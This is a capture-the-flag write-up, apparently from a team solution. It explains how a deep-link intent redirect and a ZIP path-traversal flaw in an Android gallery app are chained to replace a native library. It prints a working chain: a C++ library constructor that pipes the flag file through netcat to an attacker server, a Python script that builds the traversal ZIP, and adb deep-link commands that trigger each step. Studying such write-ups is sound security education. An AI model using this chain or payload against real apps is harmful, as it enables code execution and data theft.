Image Gallery
- Category: Mobile
- 490 points
- Solved by JCTF Team
Description
Solution
Challenge Overview
The "Image Gallery" challenge was presented with an Android application (APK) and a URL pointing to a web page. The web page featured a form, and a URL submitted via this form would then be visited by an internal bot.
APK Analysis
Upon decompiling the com.appsecil.imagegallery
package, three key activities were identified:
MainActivity
: This activity'sonCreate
method is responsible for callingUtils.prepareResources
, and an attempt to handleappsecil
deep links via aredirect
function is made. After these initial operations, a layout is drawn with a button that, when clicked, causes theImageGalleryActivity
to be loaded.ImageGalleryActivity
: Its primary function is to load and display images from theIMAGE_DIR
. Crucially, thelibimgcheck.so
native library is dynamically loaded fromLIB_DIR
when theImgCheck
constructor is invoked by this activity.ZipGalleryActivity
: This activity is designed so that a ZIP file can be downloaded from a user-controlled server, and its contents are then attempted to be extracted into theIMAGE_DIR
folder.
A deeper dive into the Utils.prepareResources
function revealed that its two main tasks are, first, copying native libraries from the application's resources to LIB_DIR
, and second, copying initial image assets to IMAGE_DIR
.
The redirect
function, responsible for handling appsecil
deep links, parses the url
query parameter as an Android Intent
URI, and the activity specified by that intent is subsequently started. This mechanism immediately raised a red flag, indicating that a potential for arbitrary activity launching was present.
The Vulnerabilities
The successful exploitation of this challenge relied on the chaining of two distinct vulnerabilities:
Arbitrary Activity Launch via Deep Link: The
redirect
function's ability to parse an arbitraryIntent
URI from theappsecil
deep link'surl
parameter allows any activity within thecom.appsecil.imagegallery
package to be launched by an attacker. This is considered a critical primitive for controlling application flow.Path Traversal during ZIP Extraction Combined with Insecure File Overwriting: This constituted the core of the exploit. A crucial difference in how file paths are handled between
ZipGalleryActivity
's ZIP extraction andUtils.prepareResources
's image copying was observed:Unzip.extract
(called byZipGalleryActivity
): When files are extracted from a ZIP archive,new File(destDir, zipentry.getName())
is used. This method causeszipentry.getName()
to be interpreted literally. Therefore, if a ZIP entry is named../lib/arm64-v8a/libimgcheck.so
, a file with this exact literal name (including the../
path traversal components) will be created directly within theIMAGE_DIR
folder.Utils.copySeedImages
(called byUtils.prepareResources
): In contrast, this function causes files inIMAGE_DIR
to be iterated through. For each filename, the path is appended toIMAGE_DIR
usingPaths.join
. This means that a file literally named../lib/arm64-v8a/libimgcheck.so
withinIMAGE_DIR
will be correctly resolved aslib/arm64-v8a/libimgcheck.so
relative to the application's internal files directory. This behavior leads to a critical overwrite: the malicious file with the literal name../lib/arm64-v8a/libimgcheck.so
(created by the ZIP extraction) will be copied and effectively overwrite the legitimatelibimgcheck.so
shared object file located inlib/arm64-v8a/
whenUtils.prepareResources
is called.
Note: the vulnerability is not exploitable in Android 14+ as zipentry.getName()
will throw an error if the file name starts with /
or contains ..
.
Crafting the Exploit
Malicious Shared Object
The goal was the exfiltration of the flag. For this, a simple C++ Android native library (native-lib.cpp
) was created, which executes a shell command to read the flag and send it to an attacker-controlled server. The __attribute__((constructor))
ensures that the code is run immediately when the library is loaded.
#include <string>
#include <unistd.h>
#include <cstdlib>
void __attribute__ ((constructor)) doit() {
if (fork() == 0) {
system("cat /data/data/com.appsecil.imagegallery/files/img/flag.png | nc <attacker server> 9999");
}
}
After this project was built, the libmyapplication.so
library for the relevant architecture (e.g., arm64-v8a
) was extracted.
Malicious ZIP File Creation
Next, a specially crafted ZIP file that would exploit the path traversal vulnerability needed to be created. This Python script demonstrates how this can be achieved:
import zipfile
import os
ARCH = "arm64-v8a" # "x86_64"
zip_filename = "lol.zip"
source_lib_path = f"lib/{ARCH}/libmyapplication.so"
archive_name = f"../lib/{ARCH}/libimgcheck.so"
with zipfile.ZipFile(zip_filename, "w", zipfile.ZIP_DEFLATED) as zf:
zf.write(source_lib_path, arcname=archive_name)
This lol.zip
file, when extracted by ZipGalleryActivity
, will cause a file literally named ../lib/arm64-v8a/libimgcheck.so
to be created inside IMAGE_DIR
. This ZIP file must be hosted on an HTTPS web server.
Exploit Chain Execution
The final step involves the orchestration of the execution using a sequence of appsecil
deep links. This can be accomplished via adb
or by submitting these deep links through the provided web form.
ZipGalleryActivity
is triggered to download and extract the malicious ZIP:This intent points to the hosted
lol.zip
. TheZipGalleryActivity
will cause it to be downloaded and its contents to be extracted, resulting in the creation of the maliciouslibimgcheck.so
with the path traversal components inIMAGE_DIR
../adb.exe shell am start -W -a android.intent.action.VIEW -d "appsecil://localhost?url=intent%3A%23Intent%3Bcomponent%3Dcom%2Eappsecil%2Eimagegallery%2F%2EZipGalleryActivity%3BS%2Eurl%3Dhttps%3A%2F%2F<redacted.com>%2Flol%2Ezip%3Bend" com.appsecil.imagegallery
MainActivity
is triggered to overwrite the legitimatelibimgcheck.so
:By launching
MainActivity
,Utils.prepareResources
is called. This function will now causeIMAGE_DIR
to be iterated through, the maliciously named file to be found, and it to be copied to the correctlib/arm64-v8a/libimgcheck.so
path, effectively causing the original library to be overwritten with the malicious one../adb.exe shell am start -W -a android.intent.action.VIEW -d "appsecil://localhost?url=intent%3A%23Intent%3Bcomponent%3Dcom%2Eappsecil%2Eimagegallery%2F%2EMainActivity%3B" com.appsecil.imagegallery
ImageGalleryActivity
is triggered to load the compromisedlibimgcheck.so
:Finally,
ImageGalleryActivity
is launched. When it attempts to loadlibimgcheck.so
, the modified library will now be loaded, triggering the constructor function (doit()
), which then causes the command to exfiltrate the flag to be executed../adb.exe shell am start -W -a android.intent.action.VIEW -d "appsecil://localhost?url=intent%3A%23Intent%3Bcomponent%3Dcom%2Eappsecil%2Eimagegallery%2F%2EImageGalleryActivity%3B" com.appsecil.imagegallery
To obtain the flag, a netcat
listener would be set up on the attacker machine (e.g., nc -lvnp 9999 > flag.png
), and the three adb
commands would then be executed in sequence. Remotely, the first deep link (to ZipGalleryActivity
) would be submitted via the challenge's web form, and the bot's subsequent actions (likely triggering MainActivity
and ImageGalleryActivity
internally after processing the initial request) would complete the exploit chain, causing the flag to be sent to the listening server.